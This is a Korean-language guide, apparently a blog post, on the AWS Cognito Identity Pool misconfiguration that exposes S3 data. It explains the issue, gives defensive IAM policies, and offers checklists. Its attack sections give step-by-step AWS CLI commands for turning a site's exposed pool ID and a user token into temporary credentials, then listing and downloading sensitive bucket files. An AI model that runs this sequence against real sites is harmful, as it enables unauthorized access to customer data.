# AWS Cognito S3 취약점 완전 가이드
## 📝 취약점 개념 요약
**한 줄 요약:** 웹사이트에서 노출된 AWS 설정 정보를 이용해 S3 버킷의 민감한 데이터에 무단 접근하는 취약점
---
## 🎯 1. 공격자는 어떻게 AWS 정보를 알아내는가?
### 1.1 웹사이트 소스코드에서 발견
**가장 흔한 케이스:**
```javascript
// main.js 파일에서
const awsConfig = {
region: 'us-east-1',
identityPoolId: 'us-east-1:12345678-1234-1234-1234-123456789012',
userPoolId: 'us-east-1_ABC123'
};
```
**발견 방법:**
- 웹페이지 우클릭 → "소스 보기"
- 개발자 도구(F12) → Sources 탭
- JavaScript 파일들 검색
### 1.2 개발자 도구 Network 탭
**실시간 API 호출 관찰:**
```
Request URL: https://cognito-identity.us-east-1.amazonaws.com/
Request Payload:
{
"IdentityPoolId": "us-east-1:12345678-...",
"Logins": {...}
}
```
### 1.3 GitHub 등 공개 저장소
**검색 키워드:**
- `identityPoolId`
- `cognito-identity`
- `amazonaws.com`
- `.env` 파일들
### 1.4 모바일 앱 분석
**앱 분해 도구 사용:**
- APK 파일 → config.json 추출
- iOS 앱 → Info.plist 분석
---
## 🔄 2. 공격 과정 단계별 설명
### Step 1: 정보 수집 (Information Gathering)
```mermaid
graph TD
A[웹사이트 방문] --> B[소스코드 분석]
B --> C[AWS 설정 정보 발견]
C --> D[Identity Pool ID 획득]
D --> E[Region 정보 확인]
```
**발견되는 정보:**
- **Identity Pool ID**: `us-east-1:12345678-1234-1234-1234-123456789012`
- **Region**: `us-east-1`
- **User Pool ID**: `us-east-1_ABC123` (있는 경우)
### Step 2: ID Token 획득
**방법 1: 정상 로그인**
```javascript
// 웹사이트에 정상 회원가입/로그인
// 로그인 후 localStorage나 sessionStorage에서 토큰 확인
localStorage.getItem('idToken')
```
**방법 2: 개발자 도구 모니터링**
```
로그인 과정에서 Network 탭으로 응답 확인:
{
"IdToken": "eyJhbGciOiJSUzI1NiIs...",
"AccessToken": "eyJhbGciOiJSUzI1NiIs...",
"RefreshToken": "eyJhbGciOiJSUzI1NiIs..."
}
```
### Step 3: Identity ID 교환
**AWS API 호출:**
```bash
# AWS CLI 또는 SDK 사용
aws cognito-identity get-id \
--identity-pool-id "us-east-1:12345678-1234-1234-1234-123456789012" \
--logins '{"cognito-idp.us-east-1.amazonaws.com/us-east-1_ABC123":"ID_TOKEN_값"}'
```
**응답:**
```json
{
"IdentityId": "us-east-1:87654321-4321-4321-4321-210987654321"
}
```
### Step 4: 임시 자격증명 획득
**API 호출:**
```bash
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:87654321-4321-4321-4321-210987654321"
```
**응답 (핵심!):**
```json
{
"Credentials": {
"AccessKeyId": "ASIAXAMPLE123456789",
"SecretAccessKey": "abc123def456ghi789...",
"SessionToken": "IQoJb3JpZ2luX2VjEH...",
"Expiration": "2024-01-01T15:30:00.000Z"
}
}
```
### Step 5: AWS CLI 설정 및 S3 접근
**환경변수 설정:**
```bash
export AWS_ACCESS_KEY_ID="ASIAXAMPLE123456789"
export AWS_SECRET_ACCESS_KEY="abc123def456ghi789..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEH..."
export AWS_DEFAULT_REGION="us-east-1"
```
**S3 접근 시도:**
```bash
# 1. 현재 권한 확인
aws sts get-caller-identity
# 2. S3 버킷 목록 조회
aws s3 ls
# 3. 특정 버킷 내용 확인
aws s3 ls s3://company-data/
# 4. 민감한 파일 다운로드
aws s3 cp s3://company-data/customer_database.csv ./
```
---
## 🎯 3. 실제 공격 시나리오
### 시나리오: 전자상거래 웹사이트 공격
**1단계: 타겟 웹사이트 분석**
```
타겟: https://example-shop.com
- React 기반 SPA
- AWS Cognito 사용자 인증
- 상품 이미지를 S3에서 로드
```
**2단계: AWS 설정 정보 발견**
```javascript
// https://example-shop.com/static/js/main.abc123.js 에서 발견
const AWS_CONFIG = {
identityPoolId: 'us-east-1:real-pool-id-here',
region: 'us-east-1'
}
```
**3단계: 정상 사용자로 가입**
```
1. 일반 고객으로 회원가입
2. 로그인 후 개발자 도구로 ID Token 확인
3. localStorage에서 토큰 추출
```
**4단계: 권한 획득 및 테스트**
```bash
# Identity ID 획득
aws cognito-identity get-id --identity-pool-id "us-east-1:real-pool-id" --logins {...}
# 자격증명 요청
aws cognito-identity get-credentials-for-identity --identity-id "..."
# S3 접근 테스트
aws s3 ls
```
**5단계: 민감한 데이터 발견**
```bash
$ aws s3 ls
2024-01-01 12:00:00 company-user-uploads
2024-01-01 12:00:00 company-backup-2024
2024-01-01 12:00:00 company-internal-docs
$ aws s3 ls s3://company-backup-2024/
2024-01-01 12:00:00 5000000 customer_database_backup.sql
2024-01-01 12:00:00 2000000 payment_logs_2024.csv
2024-01-01 12:00:00 1000000 admin_credentials.txt
```
---
## ⚠️ 4. 왜 이런 취약점이 발생하는가?
### 4.1 개발자 관점
**편의성 우선:**
```javascript
// 개발 중 테스트 편의를 위해
const policy = {
"Effect": "Allow",
"Action": "s3:*", // ← 모든 S3 권한!
"Resource": "*" // ← 모든 리소스!
}
```
**AWS 복잡성:**
- IAM 정책이 복잡하고 이해하기 어려움
- Cognito Identity Pool 설정의 미묘한 차이
- 프로덕션 배포 시 설정 변경 누락
### 4.2 AWS 기본 설정의 함정
**Identity Pool 기본값:**
```json
{
"AllowUnauthenticatedIdentities": true, // ← 익명 접근 허용
"Roles": {
"authenticated": "arn:aws:iam::account:role/Cognito_PoolAuth_Role",
"unauthenticated": "arn:aws:iam::account:role/Cognito_PoolUnauth_Role"
}
}
```
---
## 🛡️ 5. 방어 방법
### 5.1 최소 권한 원칙
**올바른 S3 정책 예시:**
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::user-uploads/${cognito-identity.amazonaws.com:sub}/*"
}
]
}
```
**설명:**
- `s3:GetObject`만 허용 (읽기만 가능)
- 사용자별 폴더에만 접근 (`${cognito-identity.amazonaws.com:sub}`)
- 특정 버킷에만 제한
### 5.2 조건부 접근 제어
```json
{
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "IDENTITY_POOL_ID"
},
"IpAddress": {
"aws:SourceIp": "허용된_IP_대역"
},
"DateGreaterThan": {
"aws:TokenIssueTime": "2024-01-01T00:00:00Z"
}
}
}
```
### 5.3 모니터링 설정
**CloudTrail 로그 확인:**
```bash
# 의심스러운 Cognito 활동 모니터링
aws logs filter-log-events \
--log-group-name CloudTrail/CognitoIdentity \
--filter-pattern "{ $.sourceIPAddress != \"내부_IP\" }"
```
---
## 🔍 6. 보안 점검 체크리스트
### 개발자 체크리스트
- [ ] **코드에서 AWS 설정 제거**: 환경변수나 설정 파일로 분리
- [ ] **IAM 정책 최소화**: 필요한 권한만 부여
- [ ] **Unauthenticated Role 비활성화**: 꼭 필요한 경우가 아니라면 끄기
- [ ] **S3 버킷 정책 검토**: 퍼블릭 접근 차단 확인
### 보안팀 체크리스트
- [ ] **정기적인 권한 감사**: IAM Access Analyzer 사용
- [ ] **CloudTrail 모니터링**: 비정상적인 API 호출 감지
- [ ] **S3 버킷 스캔**: 퍼블릭 버킷 및 설정 오류 확인
- [ ] **침투 테스트**: 정기적인 보안 테스트 수행
---
## 💡 7. 핵심 포인트
### 공격자 관점
1. **정보 수집이 핵심**: 웹 소스코드에서 AWS 정보 찾기
2. **정상 사용자 권한 악용**: 과도한 권한 설정 이용
3. **자동화 가능**: 스크립트로 대량 스캔 가능
### 방어자 관점
1. **설정이 전부**: IAM 정책과 Identity Pool 설정이 핵심
2. **가시성 확보**: 모니터링과 로깅 강화
3. **교육이 중요**: 개발팀의 AWS 보안 이해도 향상
### 조직 관점
1. **문화 변화**: 보안을 개발 초기부터 고려
2. **자동화 도입**: 보안 설정 오류 자동 감지
3. **지속적 개선**: 정기적인 보안 검토 및 업데이트
---
## 🚨 결론
이 취약점은 **AWS 설정 실수**에서 비롯되는 전형적인 클라우드 보안 이슈입니다.
**핵심은:**
- 웹 소스코드에 노출된 AWS 정보 → Identity Pool ID 발견
- 정상 로그인으로 얻은 ID Token → Identity ID 교환
- 과도한 IAM 권한 설정 → S3 민감 데이터 접근
**방어 핵심:**
- 최소 권한 원칙 엄격 적용
- 클라이언트 코드에서 AWS 설정 정보 제거
- 지속적인 모니터링과 감사
---
*⚠️ 이 문서는 교육 목적으로 작성되었습니다. 승인되지 않은 시스템 접근은 불법입니다.*
카테고리 없음